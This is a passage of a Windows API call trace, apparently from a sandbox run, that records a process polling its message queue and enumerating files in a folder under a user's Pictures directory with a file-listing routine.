wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.840] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.840] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.840] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.840] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.840] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.841] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.841] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0059.841] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0059.841] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0059.841] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0059.841] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0059.841] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0059.841] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.841] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.842] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.842] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.842] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.842] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.842] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.844] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.845] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.845] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.845] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.845] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.845] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="D", cchCount2=1) returned 2 [0059.845] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.845] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.845] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.845] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.845] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.845] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.846] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.846] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.846] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.846] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.846] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0059.847] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0059.847] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0059.847] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0059.847] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0059.847] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0059.847] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.847] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.847] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.847] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.847] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.847] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.847] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.847] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.847] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.847] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.848] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.848] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.848] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.848] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.848] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.848] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.848] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.848] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.848] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="D", cchCount2=1) returned 2 [0059.848] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.848] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.848] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.848] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.848] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.848] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.848] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.849] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.849] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.849] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.849] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0059.849] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0059.849] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0059.849] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0059.849] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0059.849] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0059.849] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.849] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.849] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.849] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.849] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.849] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.849] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.849] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.850] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.850] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.850] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.850] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.850] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.850] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.850] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.850] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.850] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.850] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.850] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RD", cchCount1=1, lpString2="D", cchCount2=1) returned 3 [0059.853] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="D", cchCount2=1) returned 2 [0059.853] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.853] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.853] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.853] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.853] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.853] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.853] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.854] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.854] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.854] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.854] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0059.854] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0059.854] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0059.854] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0059.854] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0059.854] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0059.854] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.855] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.855] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.855] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.855] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.855] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.855] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.856] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.856] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.856] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.856] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.856] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.856] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.856] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.856] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.856] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.856] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0059.857] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="D", cchCount2=1) returned 2 [0059.857] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.857] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.857] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.857] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.858] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.858] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.858] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.858] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0059.858] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0059.858] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164cb30 [0059.859] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.859] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.861] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="D", cchCount2=1) returned 2 [0059.861] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.861] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.861] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="D", cchCount2=1) returned 2 [0059.862] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.862] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.862] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.862] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.863] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.863] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0059.863] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.863] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0059.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="D", cchCount2=1) returned 2 [0059.863] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0059.863] 